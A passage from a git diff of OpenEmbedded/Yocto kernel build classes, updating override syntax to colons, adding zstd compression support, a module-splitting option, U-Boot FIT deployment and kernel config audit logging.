+ ln -snf fitImage-its-${KERNEL_FIT_NAME}.its "$deployDir/fitImage-its-${KERNEL_FIT_LINK_NAME}"
+ fi
+
+ echo "Copying linux.bin file..."
+ install -m 0644 ${B}/linux.bin $deployDir/fitImage-linux.bin-${KERNEL_FIT_NAME}${KERNEL_FIT_BIN_EXT}
+ if [ -n "${KERNEL_FIT_LINK_NAME}" ] ; then
+ ln -snf fitImage-linux.bin-${KERNEL_FIT_NAME}${KERNEL_FIT_BIN_EXT} "$deployDir/fitImage-linux.bin-${KERNEL_FIT_LINK_NAME}"
+ fi
+ fi
if [ -n "${INITRAMFS_IMAGE}" ]; then
echo "Copying fit-image-${INITRAMFS_IMAGE}.its source file..."
install -m 0644 ${B}/fit-image-${INITRAMFS_IMAGE}.its "$deployDir/fitImage-its-${INITRAMFS_IMAGE_NAME}-${KERNEL_FIT_NAME}.its"
- ln -snf fitImage-its-${INITRAMFS_IMAGE_NAME}-${KERNEL_FIT_NAME}.its "$deployDir/fitImage-its-${INITRAMFS_IMAGE_NAME}-${KERNEL_FIT_LINK_NAME}"
+ if [ -n "${KERNEL_FIT_LINK_NAME}" ] ; then
+ ln -snf fitImage-its-${INITRAMFS_IMAGE_NAME}-${KERNEL_FIT_NAME}.its "$deployDir/fitImage-its-${INITRAMFS_IMAGE_NAME}-${KERNEL_FIT_LINK_NAME}"
+ fi
- echo "Copying fitImage-${INITRAMFS_IMAGE} file..."
- install -m 0644 ${B}/arch/${ARCH}/boot/fitImage-${INITRAMFS_IMAGE} "$deployDir/fitImage-${INITRAMFS_IMAGE_NAME}-${KERNEL_FIT_NAME}.bin"
- ln -snf fitImage-${INITRAMFS_IMAGE_NAME}-${KERNEL_FIT_NAME}.bin "$deployDir/fitImage-${INITRAMFS_IMAGE_NAME}-${KERNEL_FIT_LINK_NAME}"
- fi
- if [ "${UBOOT_SIGN_ENABLE}" = "1" -a -n "${UBOOT_DTB_BINARY}" ] ; then
- # UBOOT_DTB_IMAGE is a realfile, but we can't use
- # ${UBOOT_DTB_IMAGE} since it contains ${PV} which is aimed
- # for u-boot, but we are in kernel env now.
- install -m 0644 ${B}/u-boot-${MACHINE}*.dtb "$deployDir/"
+ if [ "${INITRAMFS_IMAGE_BUNDLE}" != "1" ]; then
+ echo "Copying fitImage-${INITRAMFS_IMAGE} file..."
+ install -m 0644 ${B}/arch/${ARCH}/boot/fitImage-${INITRAMFS_IMAGE} "$deployDir/fitImage-${INITRAMFS_IMAGE_NAME}-${KERNEL_FIT_NAME}${KERNEL_FIT_BIN_EXT}"
+ if [ -n "${KERNEL_FIT_LINK_NAME}" ] ; then
+ ln -snf fitImage-${INITRAMFS_IMAGE_NAME}-${KERNEL_FIT_NAME}${KERNEL_FIT_BIN_EXT} "$deployDir/fitImage-${INITRAMFS_IMAGE_NAME}-${KERNEL_FIT_LINK_NAME}"
+ fi
+ fi
fi
fi
+ if [ "${UBOOT_SIGN_ENABLE}" = "1" -o "${UBOOT_FITIMAGE_ENABLE}" = "1" ] && \
+ [ -n "${UBOOT_DTB_BINARY}" ] ; then
+ # UBOOT_DTB_IMAGE is a realfile, but we can't use
+ # ${UBOOT_DTB_IMAGE} since it contains ${PV} which is aimed
+ # for u-boot, but we are in kernel env now.
+ install -m 0644 ${B}/u-boot-${MACHINE}*.dtb "$deployDir/"
+ fi
+ if [ "${UBOOT_FITIMAGE_ENABLE}" = "1" -a -n "${UBOOT_BINARY}" -a -n "${SPL_DTB_BINARY}" ] ; then
+ # If we're also creating and/or signing the uboot fit, now we need to
+ # deploy it, it's its file, as well as u-boot-spl.dtb
+ install -m 0644 ${B}/u-boot-spl-${MACHINE}*.dtb "$deployDir/"
+ echo "Copying u-boot-fitImage file..."
+ install -m 0644 ${B}/u-boot-fitImage-* "$deployDir/"
+ echo "Copying u-boot-its file..."
+ install -m 0644 ${B}/u-boot-its-* "$deployDir/"
+ fi
+}
+
+# The function below performs the following in case of initramfs bundles:
+# - Removes do_assemble_fitimage. FIT generation is done through
+# do_assemble_fitimage_initramfs. do_assemble_fitimage is not needed
+# and should not be part of the tasks to be executed.
+# - Since do_kernel_generate_rsa_keys is inserted by default
+# between do_compile and do_assemble_fitimage, this is
+# not suitable in case of initramfs bundles. do_kernel_generate_rsa_keys
+# should be between do_bundle_initramfs and do_assemble_fitimage_initramfs.
+python () {
+ if d.getVar('INITRAMFS_IMAGE_BUNDLE') == "1":
+ bb.build.deltask('do_assemble_fitimage', d)
+ bb.build.deltask('kernel_generate_rsa_keys', d)
+ bb.build.addtask('kernel_generate_rsa_keys', 'do_assemble_fitimage_initramfs', 'do_bundle_initramfs', d)
}
diff --git a/meta/classes/kernel-grub.bbclass b/meta/classes/kernel-grub.bbclass
index 5d92f3b636..44b2015468 100644
--- a/meta/classes/kernel-grub.bbclass
+++ b/meta/classes/kernel-grub.bbclass
@@ -99,7 +99,7 @@ python __anonymous () {
typelower = type.lower()
preinst_append = preinst.replace('KERNEL_IMAGETYPE', type)
postinst_prepend = postinst.replace('KERNEL_IMAGETYPE', type)
- d.setVar('pkg_preinst_kernel-image-' + typelower + '_append', preinst_append)
- d.setVar('pkg_postinst_kernel-image-' + typelower + '_prepend', postinst_prepend)
+ d.setVar('pkg_preinst:kernel-image-' + typelower + ':append', preinst_append)
+ d.setVar('pkg_postinst:kernel-image-' + typelower + ':prepend', postinst_prepend)
}
diff --git a/meta/classes/kernel-module-split.bbclass b/meta/classes/kernel-module-split.bbclass
index c8ede26996..a29c294810 100644
--- a/meta/classes/kernel-module-split.bbclass
+++ b/meta/classes/kernel-module-split.bbclass
@@ -1,4 +1,4 @@
-pkg_postinst_modules () {
+pkg_postinst:modules () {
if [ -z "$D" ]; then
depmod -a ${KERNEL_VERSION}
else
@@ -8,7 +8,7 @@ else
fi
}
-pkg_postrm_modules () {
+pkg_postrm:modules () {
if [ -z "$D" ]; then
depmod -a ${KERNEL_VERSION}
else
@@ -24,11 +24,12 @@ fi
PACKAGE_WRITE_DEPS += "kmod-native depmodwrapper-cross"
-do_install_append() {
+do_install:append() {
install -d ${D}${sysconfdir}/modules-load.d/ ${D}${sysconfdir}/modprobe.d/
}
-PACKAGESPLITFUNCS_prepend = "split_kernel_module_packages "
+KERNEL_SPLIT_MODULES ?= "1"
+PACKAGESPLITFUNCS:prepend = "split_kernel_module_packages "
KERNEL_MODULES_META_PACKAGE ?= "${@ d.getVar("KERNEL_PACKAGE_NAME") or "kernel" }-modules"
@@ -44,17 +45,20 @@ python split_kernel_module_packages () {
def extract_modinfo(file):
import tempfile, subprocess
tempfile.tempdir = d.getVar("WORKDIR")
- compressed = re.match( r'.*\.([xg])z$', file)
+ compressed = re.match( r'.*\.(gz|xz|zst)$', file)
tf = tempfile.mkstemp()
tmpfile = tf[1]
if compressed:
tmpkofile = tmpfile + ".ko"
- if compressed.group(1) == 'g':
+ if compressed.group(1) == 'gz':
cmd = "gunzip -dc %s > %s" % (file, tmpkofile)
subprocess.check_call(cmd, shell=True)
- elif compressed.group(1) == 'x':
+ elif compressed.group(1) == 'xz':
cmd = "xz -dc %s > %s" % (file, tmpkofile)
subprocess.check_call(cmd, shell=True)
+ elif compressed.group(1) == 'zst':
+ cmd = "zstd -dc %s > %s" % (file, tmpkofile)
+ subprocess.check_call(cmd, shell=True)
else:
msg = "Cannot decompress '%s'" % file
raise msg
@@ -100,11 +104,11 @@ python split_kernel_module_packages () {
else:
f.write('%s\n' % basename)
f.close()
- postinst = d.getVar('pkg_postinst_%s' % pkg)
+ postinst = d.getVar('pkg_postinst:%s' % pkg)
if not postinst:
- bb.fatal("pkg_postinst_%s not defined" % pkg)
+ bb.fatal("pkg_postinst:%s not defined" % pkg)
postinst += d.getVar('autoload_postinst_fragment') % (autoload or basename)
- d.setVar('pkg_postinst_%s' % pkg, postinst)
+ d.setVar('pkg_postinst:%s' % pkg, postinst)
# Write out any modconf fragment
modconflist = (d.getVar("KERNEL_MODULE_PROBECONF") or "").split()
@@ -117,16 +121,19 @@ python split_kernel_module_packages () {
elif modconf:
bb.error("Please ensure module %s is listed in KERNEL_MODULE_PROBECONF since module_conf_%s is set" % (basename, basename))
- files = d.getVar('FILES_%s' % pkg)
+ files = d.getVar('FILES:%s' % pkg)
files = "%s /etc/modules-load.d/%s.conf /etc/modprobe.d/%s.conf" % (files, basename, basename)
- d.setVar('FILES_%s' % pkg, files)
- d.setVar('CONFFILES_%s' % pkg, files)
+ d.setVar('FILES:%s' % pkg, files)
+
+ conffiles = d.getVar('CONFFILES:%s' % pkg)
+ conffiles = "%s /etc/modules-load.d/%s.conf /etc/modprobe.d/%s.conf" % (conffiles, basename, basename)
+ d.setVar('CONFFILES:%s' % pkg, conffiles)
if "description" in vals:
- old_desc = d.getVar('DESCRIPTION_' + pkg) or ""
- d.setVar('DESCRIPTION_' + pkg, old_desc + "; " + vals["description"])
+ old_desc = d.getVar('DESCRIPTION:' + pkg) or ""
+ d.setVar('DESCRIPTION:' + pkg, old_desc + "; " + vals["description"])
- rdepends = bb.utils.explode_dep_versions2(d.getVar('RDEPENDS_' + pkg) or "")
+ rdepends = bb.utils.explode_dep_versions2(d.getVar('RDEPENDS:' + pkg) or "")
modinfo_deps = []
if "depends" in vals and vals["depends"] != "":
for dep in vals["depends"].split(","):
@@ -136,33 +143,41 @@ python split_kernel_module_packages () {
for dep in modinfo_deps:
if not dep in rdepends:
rdepends[dep] = []
- d.setVar('RDEPENDS_' + pkg, bb.utils.join_deps(rdepends, commasep=False))
+ d.setVar('RDEPENDS:' + pkg, bb.utils.join_deps(rdepends, commasep=False))
# Avoid automatic -dev recommendations for modules ending with -dev.
- d.setVarFlag('RRECOMMENDS_' + pkg, 'nodeprrecs', 1)
+ d.setVarFlag('RRECOMMENDS:' + pkg, 'nodeprrecs', 1)
# Provide virtual package without postfix
providevirt = d.getVar('KERNEL_MODULE_PROVIDE_VIRTUAL')
if providevirt == "1":
postfix = format.split('%s')[1]
- d.setVar('RPROVIDES_' + pkg, pkg.replace(postfix, ''))
+ d.setVar('RPROVIDES:' + pkg, pkg.replace(postfix, ''))
kernel_package_name = d.getVar("KERNEL_PACKAGE_NAME") or "kernel"
kernel_version = d.getVar("KERNEL_VERSION")
- module_regex = r'^(.*)\.k?o(?:\.[xg]z)?$'
+ metapkg = d.getVar('KERNEL_MODULES_META_PACKAGE')
+ splitmods = d.getVar('KERNEL_SPLIT_MODULES')
+ postinst = d.getVar('pkg_postinst:modules')
+ postrm = d.getVar('pkg_postrm:modules')
+
+ if splitmods != '1':
+ etcdir = d.getVar('sysconfdir')
+ d.appendVar('FILES:' + metapkg, '%s/modules-load.d/ %s/modprobe.d/ %s/modules/' % (etcdir, etcdir, d.getVar("nonarch_base_libdir")))
+ d.appendVar('pkg_postinst:%s' % metapkg, postinst)
+ d.prependVar('pkg_postrm:%s' % metapkg, postrm);
+ return
+
+ module_regex = r'^(.*)\.k?o(?:\.(gz|xz|zst))?$'
module_pattern_prefix = d.getVar('KERNEL_MODULE_PACKAGE_PREFIX')
module_pattern_suffix = d.getVar('KERNEL_MODULE_PACKAGE_SUFFIX')
module_pattern = module_pattern_prefix + kernel_package_name + '-module-%s' + module_pattern_suffix
- postinst = d.getVar('pkg_postinst_modules')
- postrm = d.getVar('pkg_postrm_modules')
-
modules = do_split_packages(d, root='${nonarch_base_libdir}/modules', file_regex=module_regex, output_pattern=module_pattern, description='%s kernel module', postinst=postinst, postrm=postrm, recursive=True, hook=frob_metadata, extra_depends='%s-%s' % (kernel_package_name, kernel_version))
if modules:
- metapkg = d.getVar('KERNEL_MODULES_META_PACKAGE')
- d.appendVar('RDEPENDS_' + metapkg, ' '+' '.join(modules))
+ d.appendVar('RDEPENDS:' + metapkg, ' '+' '.join(modules))
# If modules-load.d and modprobe.d are empty at this point, remove them to
# avoid warnings. removedirs only raises an OSError if an empty
diff --git a/meta/classes/kernel-uboot.bbclass b/meta/classes/kernel-uboot.bbclass
index b1e7ac05c2..2daa068298 100644
--- a/meta/classes/kernel-uboot.bbclass
+++ b/meta/classes/kernel-uboot.bbclass
@@ -22,7 +22,11 @@ uboot_prep_kimage() {
[ -n "${vmlinux_path}" ] && ${OBJCOPY} -O binary -R .note -R .comment -S "${vmlinux_path}" linux.bin
if [ "${linux_comp}" != "none" ] ; then
- gzip -9 linux.bin
+ if [ "${linux_comp}" = "gzip" ] ; then
+ gzip -9 linux.bin
+ elif [ "${linux_comp}" = "lzo" ] ; then
+ lzop -9 linux.bin
+ fi
mv -f "linux.bin${linux_suffix}" linux.bin
fi
diff --git a/meta/classes/kernel-yocto.bbclass b/meta/classes/kernel-yocto.bbclass
index 35587dd564..1d5a8cdf29 100644
--- a/meta/classes/kernel-yocto.bbclass
+++ b/meta/classes/kernel-yocto.bbclass
@@ -36,7 +36,10 @@ def find_patches(d,subdir):
if subdir == patchdir:
patch_list.append(local)
else:
- patch_list.append(local)
+ # skip the patch if a patchdir was supplied, it won't be handled
+ # properly
+ if not patchdir:
+ patch_list.append(local)
return patch_list
@@ -113,6 +116,8 @@ do_kernel_metadata() {
cd ${S}
export KMETA=${KMETA}
+ bbnote "do_kernel_metadata: for summary/debug, set KCONF_AUDIT_LEVEL > 0"
+
# if kernel tools are available in-tree, they are preferred
# and are placed on the path before any external tools. Unless
# the external tools flag is set, in that case we do nothing.
@@ -290,6 +295,21 @@ do_kernel_metadata() {
fi
fi
fi
+
+ if [ ${KCONF_AUDIT_LEVEL} -gt 0 ]; then
+ bbnote "kernel meta data summary for ${KMACHINE} (${LINUX_KERNEL_TYPE}):"
+ bbnote "======================================================================"
+ if [ -n "${KMETA_EXTERNAL_BSPS}" ]; then
+ bbnote "Non kernel-cache (external) bsp"
+ fi
+ bbnote "BSP entry point / definition: $bsp_definition"
+ if [ -n "$in_tree_defconfig" ]; then
+ bbnote "KBUILD_DEFCONFIG: ${KBUILD_DEFCONFIG}"
+ fi
+ bbnote "Fragments from SRC_URI: $sccs_from_src_uri"
+ bbnote "KERNEL_FEATURES: $KERNEL_FEATURES_FINAL"
+ bbnote "Final scc/cfg list: $sccs_defconfig $bsp_definition $sccs $KERNEL_FEATURES_FINAL"
+ fi
}
do_patch() {
@@ -341,6 +361,21 @@ do_kernel_checkout() {
fi
fi
cd ${S}
+
+ # convert any remote branches to local tracking ones
+ for i in `git branch -a --no-color | grep remotes | grep -v HEAD`; do
+ b=`echo $i | cut -d' ' -f2 | sed 's%remotes/origin/%%'`;
+ git show-ref --quiet --verify -- "refs/heads/$b"
+ if [ $? -ne 0 ]; then
+ git branch $b $i > /dev/null
+ fi
+ done
+
+ # Create a working tree copy of the kernel by checking out a branch
+ machine_branch="${@ get_machine_branch(d, "${KBRANCH}" )}"
+
+ # checkout and clobber any unimportant files
+ git checkout -f ${machine_branch}
else
# case: we have no git repository at all.
# To support low bandwidth options for building the kernel, we'll just
@@ -362,23 +397,8 @@ do_kernel_checkout() {
git commit -q -m "baseline commit: creating repo for ${PN}-${PV}"
git clean -d -f
fi
-
- # convert any remote branches to local tracking ones
- for i in `git branch -a --no-color | grep remotes | grep -v HEAD`; do
- b=`echo $i | cut -d' ' -f2 | sed 's%remotes/origin/%%'`;
- git show-ref --quiet --verify -- "refs/heads/$b"
- if [ $? -ne 0 ]; then
- git branch $b $i > /dev/null
- fi
- done
-
- # Create a working tree copy of the kernel by checking out a branch
- machine_branch="${@ get_machine_branch(d, "${KBRANCH}" )}"
-
- # checkout and clobber any unimportant files
- git checkout -f ${machine_branch}
}
-do_kernel_checkout[dirs] = "${S}"
+do_kernel_checkout[dirs] = "${S} ${WORKDIR}"
addtask kernel_checkout before do_kernel_metadata after do_symlink_kernsrc
addtask kernel_metadata after do_validate_branches do_unpack before do_patch
@@ -403,11 +423,11 @@ do_kernel_configme() {
*alldefconfig)
config_flags=""
;;
- *)
- if [ -f ${WORKDIR}/defconfig ]; then
- config_flags="-n"
- fi
- ;;
+ *)
+ if [ -f ${WORKDIR}/defconfig ]; then
+ config_flags="-n"
+ fi
+ ;;
esac
cd ${S}
@@ -457,7 +477,7 @@ python do_config_analysis() {
env['srctree'] = s
# read specific symbols from the kernel recipe or from local.conf
- # i.e.: CONFIG_ANALYSIS_pn-linux-yocto-dev = 'NF_CONNTRACK LOCALVERSION'
+ # i.e.: CONFIG_ANALYSIS:pn-linux-yocto-dev = 'NF_CONNTRACK LOCALVERSION'
config = d.getVar( 'CONFIG_ANALYSIS' )
if not config:
config = [ "" ]
@@ -614,7 +634,31 @@ do_validate_branches() {
# if SRCREV is AUTOREV it shows up as AUTOINC there's nothing to
# check and we can exit early
if [ "${machine_srcrev}" = "AUTOINC" ]; then
+ linux_yocto_dev='${@oe.utils.conditional("PREFERRED_PROVIDER_virtual/kernel", "linux-yocto-dev", "1", "", d)}'
+ if [ -n "$linux_yocto_dev" ]; then
+ git checkout -q -f ${machine_branch}
+ ver=$(grep "^VERSION =" ${S}/Makefile | sed s/.*=\ *//)
+ patchlevel=$(grep "^PATCHLEVEL =" ${S}/Makefile | sed s/.*=\ *//)
+ sublevel=$(grep "^SUBLEVEL =" ${S}/Makefile | sed s/.*=\ *//)
+ kver="$ver.$patchlevel"
+ bbnote "dev kernel: performing version -> branch -> SRCREV validation"
+ bbnote "dev kernel: recipe version ${LINUX_VERSION}, src version: $kver"
+ echo "${LINUX_VERSION}" | grep -q $kver
+ if [ $? -ne 0 ]; then
+ version="$(echo ${LINUX_VERSION} | sed 's/\+.*$//g')"
+ versioned_branch="v$version/$machine_branch"
+
+ machine_branch=$versioned_branch
+ force_srcrev="$(git rev-parse $machine_branch 2> /dev/null)"
+ if [ $? -ne 0 ]; then
+ bbfatal "kernel version mismatch detected, and no valid branch $machine_branch detected"
+ fi
+
+ bbnote "dev kernel: adjusting branch to $machine_branch, srcrev to: $force_srcrev"
+ fi
+ else
bbnote "SRCREV validation is not required for AUTOREV"
+ fi
elif [ "${machine_srcrev}" = "" ]; then
if [ "${SRCREV}" != "AUTOINC" ] && [ "${SRCREV}" != "INVALID" ]; then
# SRCREV_machine_<MACHINE> was not set. This means that a custom recipe
diff --git a/meta/classes/kernel.bbclass b/meta/classes/kernel.bbclass
index 1a444efabf..5d709400f7 100644
--- a/meta/classes/kernel.bbclass
+++ b/meta/classes/kernel.bbclass
@@ -1,12 +1,15 @@
inherit linux-kernel-base kernel-module-split
+COMPATIBLE_HOST = ".*-linux"
+
KERNEL_PACKAGE_NAME ??= "kernel"
KERNEL_DEPLOYSUBDIR ??= "${@ "" if (d.getVar("KERNEL_PACKAGE_NAME") == "kernel") else d.getVar("KERNEL_PACKAGE_NAME") }"
-PROVIDES += "${@ "virtual/kernel" if (d.getVar("KERNEL_PACKAGE_NAME") == "kernel") else "" }"
+PROVIDES += "virtual/kernel"
DEPENDS += "virtual/${TARGET_PREFIX}binutils virtual/${TARGET_PREFIX}gcc kmod-native bc-native bison-native"
DEPENDS += "${@bb.utils.contains("INITRAMFS_FSTYPES", "cpio.lzo", "lzop-native", "", d)}"
DEPENDS += "${@bb.utils.contains("INITRAMFS_FSTYPES", "cpio.lz4", "lz4-native", "", d)}"
+DEPENDS += "${@bb.utils.contains("INITRAMFS_FSTYPES", "cpio.zst", "zstd-native", "", d)}"
PACKAGE_WRITE_DEPS += "depmodwrapper-cross"
do_deploy[depends] += "depmodwrapper-cross:do_populate_sysroot gzip-native:do_populate_sysroot"
@@ -44,7 +47,7 @@ python __anonymous () {
kpn = d.getVar("KERNEL_PACKAGE_NAME")
# XXX Remove this after bug 11905 is resolved
- # FILES_${KERNEL_PACKAGE_NAME}-dev doesn't expand correctly
+ # FILES:${KERNEL_PACKAGE_NAME}-dev doesn't expand correctly
if kpn == pn:
bb.warn("Some packages (E.g. *-dev) might be missing due to "
"bug 11905 (variable KERNEL_PACKAGE_NAME == PN)")
@@ -74,7 +77,7 @@ python __anonymous () {
# KERNEL_IMAGETYPES may contain a mixture of image types supported directly
# by the kernel build system and types which are created by post-processing
# the output of the kernel build system (e.g. compressing vmlinux ->
- # vmlinux.gz in kernel_do_compile()).
+ # vmlinux.gz in kernel_do_transform_kernel()).
# KERNEL_IMAGETYPE_FOR_MAKE should contain only image types supported
# directly by the kernel build system.
if not d.getVar('KERNEL_IMAGETYPE_FOR_MAKE'):
@@ -90,13 +93,22 @@ python __anonymous () {
imagedest = d.getVar('KERNEL_IMAGEDEST')
for type in types.split():
+ if bb.data.inherits_class('nopackages', d):
+ continue
typelower = type.lower()
d.appendVar('PACKAGES', ' %s-image-%s' % (kname, typelower))
- d.setVar('FILES_' + kname + '-image-' + typelower, '/' + imagedest + '/' + type + '-${KERNEL_VERSION_NAME}' + ' /' + imagedest + '/' + type)
- d.appendVar('RDEPENDS_%s-image' % kname, ' %s-image-%s' % (kname, typelower))
- d.setVar('PKG_%s-image-%s' % (kname,typelower), '%s-image-%s-${KERNEL_VERSION_PKG_NAME}' % (kname, typelower))
- d.setVar('ALLOW_EMPTY_%s-image-%s' % (kname, typelower), '1')
- d.setVar('pkg_postinst_%s-image-%s' % (kname,typelower), """set +e
+ d.setVar('FILES:' + kname + '-image-' + typelower, '/' + imagedest + '/' + type + '-${KERNEL_VERSION_NAME}' + ' /' + imagedest + '/' + type)
+ d.appendVar('RDEPENDS:%s-image' % kname, ' %s-image-%s (= ${EXTENDPKGV})' % (kname, typelower))
+ splitmods = d.getVar("KERNEL_SPLIT_MODULES")
+ if splitmods != '1':
+ d.appendVar('RDEPENDS:%s-image' % kname, ' %s-modules (= ${EXTENDPKGV})' % kname)
+ d.appendVar('RDEPENDS:%s-image-%s' % (kname, typelower), ' %s-modules-${KERNEL_VERSION_PKG_NAME} (= ${EXTENDPKGV})' % kname)
+ d.setVar('PKG:%s-modules' % kname, '%s-modules-${KERNEL_VERSION_PKG_NAME}' % kname)
+ d.appendVar('RPROVIDES:%s-modules' % kname, '%s-modules-${KERNEL_VERSION_PKG_NAME}' % kname)
+
+ d.setVar('PKG:%s-image-%s' % (kname,typelower), '%s-image-%s-${KERNEL_VERSION_PKG_NAME}' % (kname, typelower))
+ d.setVar('ALLOW_EMPTY:%s-image-%s' % (kname, typelower), '1')
+ d.setVar('pkg_postinst:%s-image-%s' % (kname,typelower), """set +e
if [ -n "$D" ]; then
ln -sf %s-${KERNEL_VERSION} $D/${KERNEL_IMAGEDEST}/%s > /dev/null 2>&1
else
@@ -108,7 +120,7 @@ else
fi
set -e
""" % (type, type, type, type, type, type, type))
- d.setVar('pkg_postrm_%s-image-%s' % (kname,typelower), """set +e
+ d.setVar('pkg_postrm:%s-image-%s' % (kname,typelower), """set +e
if [ -f "${KERNEL_IMAGEDEST}/%s" -o -L "${KERNEL_IMAGEDEST}/%s" ]; then
rm -f ${KERNEL_IMAGEDEST}/%s > /dev/null 2>&1
fi
@@ -122,6 +134,8 @@ set -e
# standalone for use by wic and other tools.
if image:
d.appendVarFlag('do_bundle_initramfs', 'depends', ' ${INITRAMFS_IMAGE}:do_image_complete')
+ if image and bb.utils.to_boolean(d.getVar('INITRAMFS_IMAGE_BUNDLE')):
+ bb.build.addtask('do_transform_bundled_initramfs', 'do_deploy', 'do_bundle_initramfs', d)
# NOTE: setting INITRAMFS_TASK is for backward compatibility
# The preferred method is to set INITRAMFS_IMAGE, because
@@ -214,8 +228,8 @@ UBOOT_LOADADDRESS ?= "${UBOOT_ENTRYPOINT}"
# Some Linux kernel configurations need additional parameters on the command line
KERNEL_EXTRA_ARGS ?= ""
-EXTRA_OEMAKE = " HOSTCC="${BUILD_CC} ${BUILD_CFLAGS} ${BUILD_LDFLAGS}" HOSTCPP="${BUILD_CPP}""
-EXTRA_OEMAKE += " HOSTCXX="${BUILD_CXX} ${BUILD_CXXFLAGS} ${BUILD_LDFLAGS}""
+EXTRA_OEMAKE = " HOSTCC="${BUILD_CC}" HOSTCFLAGS="${BUILD_CFLAGS}" HOSTLDFLAGS="${BUILD_LDFLAGS}" HOSTCPP="${BUILD_CPP}""
+EXTRA_OEMAKE += " HOSTCXX="${BUILD_CXX}" HOSTCXXFLAGS="${BUILD_CXXFLAGS}""
KERNEL_ALT_IMAGETYPE ??= ""
@@ -225,7 +239,7 @@ copy_initramfs() {
mkdir -p ${B}/usr
# Find and use the first initramfs image archive type we find
rm -f ${B}/usr/${INITRAMFS_IMAGE_NAME}.cpio
- for img in cpio cpio.gz cpio.lz4 cpio.lzo cpio.lzma cpio.xz; do
+ for img in cpio cpio.gz cpio.lz4 cpio.lzo cpio.lzma cpio.xz cpio.zst; do
if [ -e "${DEPLOY_DIR_IMAGE}/${INITRAMFS_IMAGE_NAME}.$img" ]; then
cp ${DEPLOY_DIR_IMAGE}/${INITRAMFS_IMAGE_NAME}.$img ${B}/usr/.
case $img in
@@ -254,12 +268,17 @@ copy_initramfs() {
xz -df ${B}/usr/${INITRAMFS_IMAGE_NAME}.$img
break
;;
+ *zst)
+ echo "zst decompressing image"
+ zstd -df ${B}/usr/${INITRAMFS_IMAGE_NAME}.$img
+ break
+ ;;
esac
break
fi
done
# Verify that the above loop found a initramfs, fail otherwise
- [ -f ${B}/usr/${INITRAMFS_IMAGE_NAME}.cpio ] && echo "Finished copy of initramfs into ./usr" || die "Could not find any ${DEPLOY_DIR_IMAGE}/${INITRAMFS_IMAGE_NAME}.cpio{.gz|.lz4|.lzo|.lzma|.xz) for bundling; INITRAMFS_IMAGE_NAME might be wrong."
+ [ -f ${B}/usr/${INITRAMFS_IMAGE_NAME}.cpio ] && echo "Finished copy of initramfs into ./usr" || die "Could not find any ${DEPLOY_DIR_IMAGE}/${INITRAMFS_IMAGE_NAME}.cpio{.gz|.lz4|.lzo|.lzma|.xz|.zst) for bundling; INITRAMFS_IMAGE_NAME might be wrong."
}
do_bundle_initramfs () {
@@ -299,24 +318,32 @@ do_bundle_initramfs () {
}
do_bundle_initramfs[dirs] = "${B}"
-python do_devshell_prepend () {
+kernel_do_transform_bundled_initramfs() {
+ # vmlinux.gz is not built by kernel
+ if (echo "${KERNEL_IMAGETYPES}" | grep -wq "vmlinux\.gz"); then
+ gzip -9cn < ${KERNEL_OUTPUT_DIR}/vmlinux.initramfs > ${KERNEL_OUTPUT_DIR}/vmlinux.gz.initramfs
+ fi
+}
+do_transform_bundled_initramfs[dirs] = "${B}"
+
+python do_devshell:prepend () {
os.environ["LDFLAGS"] = ''
}
addtask bundle_initramfs after do_install before do_deploy
-get_cc_option () {
- # Check if KERNEL_CC supports the option "file-prefix-map".
- # This option allows us to build images with __FILE__ values that do not
- # contain the host build path.
- if ${KERNEL_CC} -Q --help=joined | grep -q "\-ffile-prefix-map=<old=new>"; then
- echo "-ffile-prefix-map=${S}=/kernel-source/"
- fi
-}
+KERNEL_DEBUG_TIMESTAMPS ??= "0"
kernel_do_compile() {
unset CFLAGS CPPFLAGS CXXFLAGS LDFLAGS MACHINE
- if [ "${BUILD_REPRODUCIBLE_BINARIES}" = "1" ]; then
+
+ # setup native pkg-config variables (kconfig scripts call pkg-config directly, cannot generically be overriden to pkg-config-native)
+ export PKG_CONFIG_DIR="${STAGING_DIR_NATIVE}${libdir_native}/pkgconfig"
+ export PKG_CONFIG_PATH="$PKG_CONFIG_DIR:${STAGING_DATADIR_NATIVE}/pkgconfig"
+ export PKG_CONFIG_LIBDIR="$PKG_CONFIG_DIR"
+ export PKG_CONFIG_SYSROOT_DIR=""
+
+ if [ "${KERNEL_DEBUG_TIMESTAMPS}" != "1" ]; then
# kernel sources do not use do_unpack, so SOURCE_DATE_EPOCH may not
# be set....
if [ "${SOURCE_DATE_EPOCH}" = "" -o "${SOURCE_DATE_EPOCH}" = "0" ]; then
@@ -344,20 +371,24 @@ kernel_do_compile() {
copy_initramfs
use_alternate_initrd=CONFIG_INITRAMFS_SOURCE=${B}/usr/${INITRAMFS_IMAGE_NAME}.cpio
fi
- cc_extra=$(get_cc_option)
for typeformake in ${KERNEL_IMAGETYPE_FOR_MAKE} ; do
- oe_runmake ${typeformake} CC="${KERNEL_CC} $cc_extra " LD="${KERNEL_LD}" ${KERNEL_EXTRA_ARGS} $use_alternate_initrd
+ oe_runmake ${typeformake} CC="${KERNEL_CC}" LD="${KERNEL_LD}" ${KERNEL_EXTRA_ARGS} $use_alternate_initrd
done
+}
+
+kernel_do_transform_kernel() {
# vmlinux.gz is not built by kernel
if (echo "${KERNEL_IMAGETYPES}" | grep -wq "vmlinux\.gz"); then
mkdir -p "${KERNEL_OUTPUT_DIR}"
gzip -9cn < ${B}/vmlinux > "${KERNEL_OUTPUT_DIR}/vmlinux.gz"
fi
}
+do_transform_kernel[dirs] = "${B}"
+addtask transform_kernel after do_compile before do_install
do_compile_kernelmodules() {
unset CFLAGS CPPFLAGS CXXFLAGS LDFLAGS MACHINE
- if [ "${BUILD_REPRODUCIBLE_BINARIES}" = "1" ]; then
+ if [ "${KERNEL_DEBUG_TIMESTAMPS}" != "1" ]; then
# kernel sources do not use do_unpack, so SOURCE_DATE_EPOCH may not
# be set....
if [ "${SOURCE_DATE_EPOCH}" = "" -o "${SOURCE_DATE_EPOCH}" = "0" ]; then
@@ -373,8 +404,7 @@ do_compile_kernelmodules() {
bbnote "KBUILD_BUILD_TIMESTAMP: $ts"
fi
if (grep -q -i -e '^CONFIG_MODULES=y$' ${B}/.config); then
- cc_extra=$(get_cc_option)
- oe_runmake -C ${B} ${PARALLEL_MAKE} modules CC="${KERNEL_CC} $cc_extra " LD="${KERNEL_LD}" ${KERNEL_EXTRA_ARGS}
+ oe_runmake -C ${B} ${PARALLEL_MAKE} modules CC="${KERNEL_CC}" LD="${KERNEL_LD}" ${KERNEL_EXTRA_ARGS}
# Module.symvers gets updated during the
# building of the kernel modules. We need to
@@ -413,9 +443,23 @@ kernel_do_install() {
#
install -d ${D}/${KERNEL_IMAGEDEST}
install -d ${D}/boot
+
+ #
